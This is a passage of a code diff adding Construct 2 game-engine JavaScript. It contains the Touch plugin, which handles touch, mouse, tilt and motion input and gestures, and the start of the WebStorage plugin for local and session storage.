+ var inclinometer = Windows["Devices"]["Sensors"]["Inclinometer"]["getDefault"]();
+ if (inclinometer)
+ {
+ inclinometer["reportInterval"] = Math.max(inclinometer["minimumReportInterval"], 16);
+ inclinometer.addEventListener("readingchanged", win8inclinometerFn);
+ }
+ document.addEventListener("visibilitychange", function(e) {
+ if (document["hidden"] || document["msHidden"])
+ {
+ if (accelerometer)
+ accelerometer.removeEventListener("readingchanged", win8accelerometerFn);
+ if (inclinometer)
+ inclinometer.removeEventListener("readingchanged", win8inclinometerFn);
+ }
+ else
+ {
+ if (accelerometer)
+ accelerometer.addEventListener("readingchanged", win8accelerometerFn);
+ if (inclinometer)
+ inclinometer.addEventListener("readingchanged", win8inclinometerFn);
+ }
+ }, false);
+ }
+ else
+ {
+ window.addEventListener("deviceorientation", function (eventData) {
+ self.orient_alpha = eventData["alpha"] || 0;
+ self.orient_beta = eventData["beta"] || 0;
+ self.orient_gamma = eventData["gamma"] || 0;
+ }, false);
+ window.addEventListener("devicemotion", function (eventData) {
+ if (eventData["accelerationIncludingGravity"])
+ {
+ self.acc_g_x = eventData["accelerationIncludingGravity"]["x"] || 0;
+ self.acc_g_y = eventData["accelerationIncludingGravity"]["y"] || 0;
+ self.acc_g_z = eventData["accelerationIncludingGravity"]["z"] || 0;
+ }
+ if (eventData["acceleration"])
+ {
+ self.acc_x = eventData["acceleration"]["x"] || 0;
+ self.acc_y = eventData["acceleration"]["y"] || 0;
+ self.acc_z = eventData["acceleration"]["z"] || 0;
+ }
+ }, false);
+ }
+ if (this.useMouseInput && !this.runtime.isDomFree)
+ {
+ jQuery(document).mousemove(
+ function(info) {
+ self.onMouseMove(info);
+ }
+ );
+ jQuery(document).mousedown(
+ function(info) {
+ self.onMouseDown(info);
+ }
+ );
+ jQuery(document).mouseup(
+ function(info) {
+ self.onMouseUp(info);
+ }
+ );
+ }
+ if (!this.runtime.isiOS && this.runtime.isCordova && navigator["accelerometer"] && navigator["accelerometer"]["watchAcceleration"])
+ {
+ navigator["accelerometer"]["watchAcceleration"](PhoneGapGetAcceleration, null, { "frequency": 40 });
+ }
+ this.runtime.tick2Me(this);
+ };
+ instanceProto.onPointerMove = function (info)
+ {
+ if (info["pointerType"] === info["MSPOINTER_TYPE_MOUSE"] || info["pointerType"] === "mouse")
+ return;
+ if (info.preventDefault)
+ info.preventDefault();
+ var i = this.findTouch(info["pointerId"]);
+ var nowtime = cr.performance_now();
+ if (i >= 0)
+ {
+ var offset = this.runtime.isDomFree ? dummyoffset : jQuery(this.runtime.canvas).offset();
+ var t = this.touches[i];
+ if (nowtime - t.time < 2)
+ return;
+ t.update(nowtime, info.pageX - offset.left, info.pageY - offset.top, info.width || 0, info.height || 0, info.pressure || 0);
+ }
+ };
+ instanceProto.onPointerStart = function (info)
+ {
+ if (info["pointerType"] === info["MSPOINTER_TYPE_MOUSE"] || info["pointerType"] === "mouse")
+ return;
+ if (info.preventDefault && cr.isCanvasInputEvent(info))
+ info.preventDefault();
+ var offset = this.runtime.isDomFree ? dummyoffset : jQuery(this.runtime.canvas).offset();
+ var touchx = info.pageX - offset.left;
+ var touchy = info.pageY - offset.top;
+ var nowtime = cr.performance_now();
+ this.trigger_index = this.touches.length;
+ this.trigger_id = info["pointerId"];
+ this.touches.push(AllocTouchInfo(touchx, touchy, info["pointerId"], this.trigger_index));
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnNthTouchStart, this);
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchStart, this);
+ this.curTouchX = touchx;
+ this.curTouchY = touchy;
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchObject, this);
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onPointerEnd = function (info, isCancel)
+ {
+ if (info["pointerType"] === info["MSPOINTER_TYPE_MOUSE"] || info["pointerType"] === "mouse")
+ return;
+ if (info.preventDefault && cr.isCanvasInputEvent(info))
+ info.preventDefault();
+ var i = this.findTouch(info["pointerId"]);
+ this.trigger_index = (i >= 0 ? this.touches[i].startindex : -1);
+ this.trigger_id = (i >= 0 ? this.touches[i]["id"] : -1);
+ this.runtime.isInUserInputEvent = true;
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnNthTouchEnd, this);
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchEnd, this);
+ if (i >= 0)
+ {
+ if (!isCancel)
+ this.touches[i].maybeTriggerTap(this, i);
+ ReleaseTouchInfo(this.touches[i]);
+ this.touches.splice(i, 1);
+ }
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onTouchMove = function (info)
+ {
+ if (info.preventDefault)
+ info.preventDefault();
+ var nowtime = cr.performance_now();
+ var i, len, t, u;
+ for (i = 0, len = info.changedTouches.length; i < len; i++)
+ {
+ t = info.changedTouches[i];
+ var j = this.findTouch(t["identifier"]);
+ if (j >= 0)
+ {
+ var offset = this.runtime.isDomFree ? dummyoffset : jQuery(this.runtime.canvas).offset();
+ u = this.touches[j];
+ if (nowtime - u.time < 2)
+ continue;
+ var touchWidth = (t.radiusX || t.webkitRadiusX || t.mozRadiusX || t.msRadiusX || 0) * 2;
+ var touchHeight = (t.radiusY || t.webkitRadiusY || t.mozRadiusY || t.msRadiusY || 0) * 2;
+ var touchForce = t.force || t.webkitForce || t.mozForce || t.msForce || 0;
+ u.update(nowtime, t.pageX - offset.left, t.pageY - offset.top, touchWidth, touchHeight, touchForce);
+ }
+ }
+ };
+ instanceProto.onTouchStart = function (info)
+ {
+ if (info.preventDefault && cr.isCanvasInputEvent(info))
+ info.preventDefault();
+ var offset = this.runtime.isDomFree ? dummyoffset : jQuery(this.runtime.canvas).offset();
+ var nowtime = cr.performance_now();
+ this.runtime.isInUserInputEvent = true;
+ var i, len, t, j;
+ for (i = 0, len = info.changedTouches.length; i < len; i++)
+ {
+ t = info.changedTouches[i];
+ j = this.findTouch(t["identifier"]);
+ if (j !== -1)
+ continue;
+ var touchx = t.pageX - offset.left;
+ var touchy = t.pageY - offset.top;
+ this.trigger_index = this.touches.length;
+ this.trigger_id = t["identifier"];
+ this.touches.push(AllocTouchInfo(touchx, touchy, t["identifier"], this.trigger_index));
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnNthTouchStart, this);
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchStart, this);
+ this.curTouchX = touchx;
+ this.curTouchY = touchy;
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchObject, this);
+ }
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.onTouchEnd = function (info, isCancel)
+ {
+ if (info.preventDefault && cr.isCanvasInputEvent(info))
+ info.preventDefault();
+ this.runtime.isInUserInputEvent = true;
+ var i, len, t, j;
+ for (i = 0, len = info.changedTouches.length; i < len; i++)
+ {
+ t = info.changedTouches[i];
+ j = this.findTouch(t["identifier"]);
+ if (j >= 0)
+ {
+ this.trigger_index = this.touches[j].startindex;
+ this.trigger_id = this.touches[j]["id"];
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnNthTouchEnd, this);
+ this.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnTouchEnd, this);
+ if (!isCancel)
+ this.touches[j].maybeTriggerTap(this, j);
+ ReleaseTouchInfo(this.touches[j]);
+ this.touches.splice(j, 1);
+ }
+ }
+ this.runtime.isInUserInputEvent = false;
+ };
+ instanceProto.getAlpha = function ()
+ {
+ if (this.runtime.isCordova && this.orient_alpha === 0 && pg_accz !== 0)
+ return pg_accz * 90;
+ else
+ return this.orient_alpha;
+ };
+ instanceProto.getBeta = function ()
+ {
+ if (this.runtime.isCordova && this.orient_beta === 0 && pg_accy !== 0)
+ return pg_accy * 90;
+ else
+ return this.orient_beta;
+ };
+ instanceProto.getGamma = function ()
+ {
+ if (this.runtime.isCordova && this.orient_gamma === 0 && pg_accx !== 0)
+ return pg_accx * 90;
+ else
+ return this.orient_gamma;
+ };
+ var noop_func = function(){};
+ function isCompatibilityMouseEvent(e)
+ {
+ return (e["sourceCapabilities"] && e["sourceCapabilities"]["firesTouchEvents"]) ||
+ (e.originalEvent && e.originalEvent["sourceCapabilities"] && e.originalEvent["sourceCapabilities"]["firesTouchEvents"]);
+ };
+ instanceProto.onMouseDown = function(info)
+ {
+ if (isCompatibilityMouseEvent(info))
+ return;
+ var t = { pageX: info.pageX, pageY: info.pageY, "identifier": 0 };
+ var fakeinfo = { changedTouches: [t] };
+ this.onTouchStart(fakeinfo);
+ this.mouseDown = true;
+ };
+ instanceProto.onMouseMove = function(info)
+ {
+ if (!this.mouseDown)
+ return;
+ if (isCompatibilityMouseEvent(info))
+ return;
+ var t = { pageX: info.pageX, pageY: info.pageY, "identifier": 0 };
+ var fakeinfo = { changedTouches: [t] };
+ this.onTouchMove(fakeinfo);
+ };
+ instanceProto.onMouseUp = function(info)
+ {
+ if (info.preventDefault && this.runtime.had_a_click && !this.runtime.isMobile)
+ info.preventDefault();
+ this.runtime.had_a_click = true;
+ if (isCompatibilityMouseEvent(info))
+ return;
+ var t = { pageX: info.pageX, pageY: info.pageY, "identifier": 0 };
+ var fakeinfo = { changedTouches: [t] };
+ this.onTouchEnd(fakeinfo);
+ this.mouseDown = false;
+ };
+ instanceProto.tick2 = function()
+ {
+ var i, len, t;
+ var nowtime = cr.performance_now();
+ for (i = 0, len = this.touches.length; i < len; ++i)
+ {
+ t = this.touches[i];
+ if (t.time <= nowtime - 50)
+ t.lasttime = nowtime;
+ t.maybeTriggerHold(this, i);
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.OnTouchStart = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnTouchEnd = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsInTouch = function ()
+ {
+ return this.touches.length;
+ };
+ Cnds.prototype.OnTouchObject = function (type)
+ {
+ if (!type)
+ return false;
+ return this.runtime.testAndSelectCanvasPointOverlap(type, this.curTouchX, this.curTouchY, false);
+ };
+ var touching = [];
+ Cnds.prototype.IsTouchingObject = function (type)
+ {
+ if (!type)
+ return false;
+ var sol = type.getCurrentSol();
+ var instances = sol.getObjects();
+ var px, py;
+ var i, leni, j, lenj;
+ for (i = 0, leni = instances.length; i < leni; i++)
+ {
+ var inst = instances[i];
+ inst.update_bbox();
+ for (j = 0, lenj = this.touches.length; j < lenj; j++)
+ {
+ var touch = this.touches[j];
+ px = inst.layer.canvasToLayer(touch.x, touch.y, true);
+ py = inst.layer.canvasToLayer(touch.x, touch.y, false);
+ if (inst.contains_pt(px, py))
+ {
+ touching.push(inst);
+ break;
+ }
+ }
+ }
+ if (touching.length)
+ {
+ sol.select_all = false;
+ cr.shallowAssignArray(sol.instances, touching);
+ type.applySolToContainer();
+ cr.clearArray(touching);
+ return true;
+ }
+ else
+ return false;
+ };
+ Cnds.prototype.CompareTouchSpeed = function (index, cmp, s)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ return false;
+ var t = this.touches[index];
+ var dist = cr.distanceTo(t.x, t.y, t.lastx, t.lasty);
+ var timediff = (t.time - t.lasttime) / 1000;
+ var speed = 0;
+ if (timediff > 0)
+ speed = dist / timediff;
+ return cr.do_cmp(speed, cmp, s);
+ };
+ Cnds.prototype.OrientationSupported = function ()
+ {
+ return typeof window["DeviceOrientationEvent"] !== "undefined";
+ };
+ Cnds.prototype.MotionSupported = function ()
+ {
+ return typeof window["DeviceMotionEvent"] !== "undefined";
+ };
+ Cnds.prototype.CompareOrientation = function (orientation_, cmp_, angle_)
+ {
+ var v = 0;
+ if (orientation_ === 0)
+ v = this.getAlpha();
+ else if (orientation_ === 1)
+ v = this.getBeta();
+ else
+ v = this.getGamma();
+ return cr.do_cmp(v, cmp_, angle_);
+ };
+ Cnds.prototype.CompareAcceleration = function (acceleration_, cmp_, angle_)
+ {
+ var v = 0;
+ if (acceleration_ === 0)
+ v = this.acc_g_x;
+ else if (acceleration_ === 1)
+ v = this.acc_g_y;
+ else if (acceleration_ === 2)
+ v = this.acc_g_z;
+ else if (acceleration_ === 3)
+ v = this.acc_x;
+ else if (acceleration_ === 4)
+ v = this.acc_y;
+ else if (acceleration_ === 5)
+ v = this.acc_z;
+ return cr.do_cmp(v, cmp_, angle_);
+ };
+ Cnds.prototype.OnNthTouchStart = function (touch_)
+ {
+ touch_ = Math.floor(touch_);
+ return touch_ === this.trigger_index;
+ };
+ Cnds.prototype.OnNthTouchEnd = function (touch_)
+ {
+ touch_ = Math.floor(touch_);
+ return touch_ === this.trigger_index;
+ };
+ Cnds.prototype.HasNthTouch = function (touch_)
+ {
+ touch_ = Math.floor(touch_);
+ return this.touches.length >= touch_ + 1;
+ };
+ Cnds.prototype.OnHoldGesture = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnTapGesture = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnDoubleTapGesture = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnHoldGestureObject = function (type)
+ {
+ if (!type)
+ return false;
+ return this.runtime.testAndSelectCanvasPointOverlap(type, this.curTouchX, this.curTouchY, false);
+ };
+ Cnds.prototype.OnTapGestureObject = function (type)
+ {
+ if (!type)
+ return false;
+ return this.runtime.testAndSelectCanvasPointOverlap(type, this.curTouchX, this.curTouchY, false);
+ };
+ Cnds.prototype.OnDoubleTapGestureObject = function (type)
+ {
+ if (!type)
+ return false;
+ return this.runtime.testAndSelectCanvasPointOverlap(type, this.curTouchX, this.curTouchY, false);
+ };
+ Cnds.prototype.OnPermissionGranted = function (type)
+ {
+ return this.trigger_permission === type;
+ };
+ Cnds.prototype.OnPermissionDenied = function (type)
+ {
+ return this.trigger_permission === type;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.RequestPermission = function (type)
+ {
+ var self = this;
+ var promise = Promise.resolve(true);
+ if (type === 0) // orientation
+ {
+ if (window["DeviceOrientationEvent"] && window["DeviceOrientationEvent"]["requestPermission"])
+ {
+ promise = window["DeviceOrientationEvent"]["requestPermission"]()
+ .then(function (state)
+ {
+ return state === "granted";
+ });
+ }
+ }
+ else // motion
+ {
+ if (window["DeviceMotionEvent"] && window["DeviceMotionEvent"]["requestPermission"])
+ {
+ promise = window["DeviceMotionEvent"]["requestPermission"]()
+ .then(function (state)
+ {
+ return state === "granted";
+ });
+ }
+ }
+ promise.then(function (result)
+ {
+ self.trigger_permission = type;
+ if (result)
+ self.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnPermissionGranted, self);
+ else
+ self.runtime.trigger(cr.plugins_.Touch.prototype.cnds.OnPermissionDenied, self);
+ });
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.TouchCount = function (ret)
+ {
+ ret.set_int(this.touches.length);
+ };
+ Exps.prototype.X = function (ret, layerparam)
+ {
+ var index = this.getTouchIndex;
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var layer, oldScale, oldZoomRate, oldParallaxX, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxX = layer.parallaxX;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxX = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, true));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxX = oldParallaxX;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, true));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.XAt = function (ret, index, layerparam)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var layer, oldScale, oldZoomRate, oldParallaxX, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxX = layer.parallaxX;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxX = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, true));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxX = oldParallaxX;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, true));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.XForID = function (ret, id, layerparam)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ var layer, oldScale, oldZoomRate, oldParallaxX, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxX = layer.parallaxX;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxX = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(touch.x, touch.y, true));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxX = oldParallaxX;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(touch.x, touch.y, true));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.Y = function (ret, layerparam)
+ {
+ var index = this.getTouchIndex;
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var layer, oldScale, oldZoomRate, oldParallaxY, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxY = layer.parallaxY;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxY = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, false));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxY = oldParallaxY;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, false));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.YAt = function (ret, index, layerparam)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var layer, oldScale, oldZoomRate, oldParallaxY, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxY = layer.parallaxY;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxY = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, false));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxY = oldParallaxY;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.touches[index].x, this.touches[index].y, false));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.YForID = function (ret, id, layerparam)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ var layer, oldScale, oldZoomRate, oldParallaxY, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxY = layer.parallaxY;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxY = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(touch.x, touch.y, false));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxY = oldParallaxY;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(touch.x, touch.y, false));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.AbsoluteX = function (ret)
+ {
+ if (this.touches.length)
+ ret.set_float(this.touches[0].x);
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.AbsoluteXAt = function (ret, index)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ ret.set_float(this.touches[index].x);
+ };
+ Exps.prototype.AbsoluteXForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(touch.x);
+ };
+ Exps.prototype.AbsoluteY = function (ret)
+ {
+ if (this.touches.length)
+ ret.set_float(this.touches[0].y);
+ else
+ ret.set_float(0);
+ };
+ Exps.prototype.AbsoluteYAt = function (ret, index)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ ret.set_float(this.touches[index].y);
+ };
+ Exps.prototype.AbsoluteYForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(touch.y);
+ };
+ Exps.prototype.SpeedAt = function (ret, index)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var t = this.touches[index];
+ var dist = cr.distanceTo(t.x, t.y, t.lastx, t.lasty);
+ var timediff = (t.time - t.lasttime) / 1000;
+ if (timediff <= 0)
+ ret.set_float(0);
+ else
+ ret.set_float(dist / timediff);
+ };
+ Exps.prototype.SpeedForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ var dist = cr.distanceTo(touch.x, touch.y, touch.lastx, touch.lasty);
+ var timediff = (touch.time - touch.lasttime) / 1000;
+ if (timediff <= 0)
+ ret.set_float(0);
+ else
+ ret.set_float(dist / timediff);
+ };
+ Exps.prototype.AngleAt = function (ret, index)
+ {
+ index = Math.floor(index);
+ if (index < 0 || index >= this.touches.length)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var t = this.touches[index];
+ ret.set_float(cr.to_degrees(cr.angleTo(t.lastx, t.lasty, t.x, t.y)));
+ };
+ Exps.prototype.AngleForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(cr.to_degrees(cr.angleTo(touch.lastx, touch.lasty, touch.x, touch.y)));
+ };
+ Exps.prototype.Alpha = function (ret)
+ {
+ ret.set_float(this.getAlpha());
+ };
+ Exps.prototype.Beta = function (ret)
+ {
+ ret.set_float(this.getBeta());
+ };
+ Exps.prototype.Gamma = function (ret)
+ {
+ ret.set_float(this.getGamma());
+ };
+ Exps.prototype.AccelerationXWithG = function (ret)
+ {
+ ret.set_float(this.acc_g_x);
+ };
+ Exps.prototype.AccelerationYWithG = function (ret)
+ {
+ ret.set_float(this.acc_g_y);
+ };
+ Exps.prototype.AccelerationZWithG = function (ret)
+ {
+ ret.set_float(this.acc_g_z);
+ };
+ Exps.prototype.AccelerationX = function (ret)
+ {
+ ret.set_float(this.acc_x);
+ };
+ Exps.prototype.AccelerationY = function (ret)
+ {
+ ret.set_float(this.acc_y);
+ };
+ Exps.prototype.AccelerationZ = function (ret)
+ {
+ ret.set_float(this.acc_z);
+ };
+ Exps.prototype.TouchIndex = function (ret)
+ {
+ ret.set_int(this.trigger_index);
+ };
+ Exps.prototype.TouchID = function (ret)
+ {
+ ret.set_float(this.trigger_id);
+ };
+ Exps.prototype.WidthForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(touch.width);
+ };
+ Exps.prototype.HeightForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(touch.height);
+ };
+ Exps.prototype.PressureForID = function (ret, id)
+ {
+ var index = this.findTouch(id);
+ if (index < 0)
+ {
+ ret.set_float(0);
+ return;
+ }
+ var touch = this.touches[index];
+ ret.set_float(touch.pressure);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.WebStorage = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function()
+{
+ var pluginProto = cr.plugins_.WebStorage.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var prefix = "";
+ var is_arcade = (typeof window["is_scirra_arcade"] !== "undefined");
+ if (is_arcade)
+ prefix = "arcade" + window["scirra_arcade_id"];
+ var isSupported = false;
+ try {
+ localStorage.getItem("test");
+ isSupported = true;
+ }
+ catch (e)
+ {
+ isSupported = false;
+ }
+ instanceProto.onCreate = function()
+ {
+ if (!isSupported)
+ {
+ cr.logexport("[Construct 2] Webstorage plugin: local storage is not supported on this platform.");
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.LocalStorageEnabled = function()
+ {
+ return isSupported;
+ };
+ Cnds.prototype.SessionStorageEnabled = function()
+ {
+ return isSupported;
+ };
+ Cnds.prototype.LocalStorageExists = function(key)
+ {
+ if (!isSupported)
+ return false;
+ return localStorage.getItem(prefix + key) != null;
+ };
+ Cnds.prototype.SessionStorageExists = function(key)
+ {
+ if (!isSupported)
+ return false;
+ return sessionStorage.getItem(prefix + key) != null;
+ };
+ Cnds.prototype.OnQuotaExceeded = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.CompareKeyText = function (key, text_to_compare, case_sensitive)
+ {
+ if (!isSupported)
+ return false;
+ var value = localStorage.getItem(prefix + key) || "";
+ if (case_sensitive)
+ return value == text_to_compare;
+ else
+ return cr.equals_nocase(value, text_to_compare);
+ };
+ Cnds.prototype.CompareKeyNumber = function (key, cmp, x)
+ {
+ if (!isSupported)
+ return false;
+ var value = localStorage.getItem(prefix + key) || "";
+ return cr.do_cmp(parseFloat(value), cmp, x);
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.StoreLocal = function(key, data)
+ {
+ if (!isSupported)
+ return;
+ try {
+ localStorage.setItem(prefix + key, data);
+ }
+ catch (e)
+ {
+ this.runtime.trigger(cr.plugins_.WebStorage.prototype.cnds.OnQuotaExceeded, this);
+ }
+ };
+ Acts.prototype.StoreSession = function(key,data)
+ {
+ if (!isSupported)
+ return;
+ try {
+ sessionStorage.setItem(prefix + key, data);
+ }
+ catch (e)
+ {
+ this.runtime.trigger(cr.plugins_.WebStorage.prototype.cnds.OnQuotaExceeded, this);
+ }
+ };
+ Acts.prototype.RemoveLocal = function(key)
+ {
+ if (!isSupported)
+ return;
+ localStorage.removeItem(prefix + key);
+ };
+ Acts.prototype.RemoveSession = function(key)
+ {
+ if (!isSupported)
+ return;
+ sessionStorage.removeItem(prefix + key);
+ };
+ Acts.prototype.ClearLocal = function()
+ {
+ if (!isSupported)
+ return;
+ if (!is_arcade)
+ localStorage.clear();
+ };
+ Acts.prototype.ClearSession = function()
+ {
+ if (!isSupported)
+ return;
+ if (!is_arcade)
+ sessionStorage.clear();
+ };
+ Acts.prototype.JSONLoad = function (json_, mode_)
+ {
+ if (!isSupported)
+ return;
+ var d;
+ try {
+ d = JSON.parse(json_);
+ }
+ catch(e) { return; }
+ if (!d["c2dictionary"]) // presumably not a c2dictionary object
+ return;
+ var o = d["data"];
+ if (mode_ === 0 && !is_arcade) // 'set' mode: must clear webstorage first
+ localStorage.clear();
+ var p;
+ for (p in o)
+ {
+ if (o.hasOwnProperty(p))
+ {
+ try {
+ localStorage.setItem(prefix + p, o[p]);
+ }
+ catch (e)
+ {
+ this.runtime.trigger(cr.plugins_.WebStorage.prototype.cnds.OnQuotaExceeded, this);
+ return;
+ }
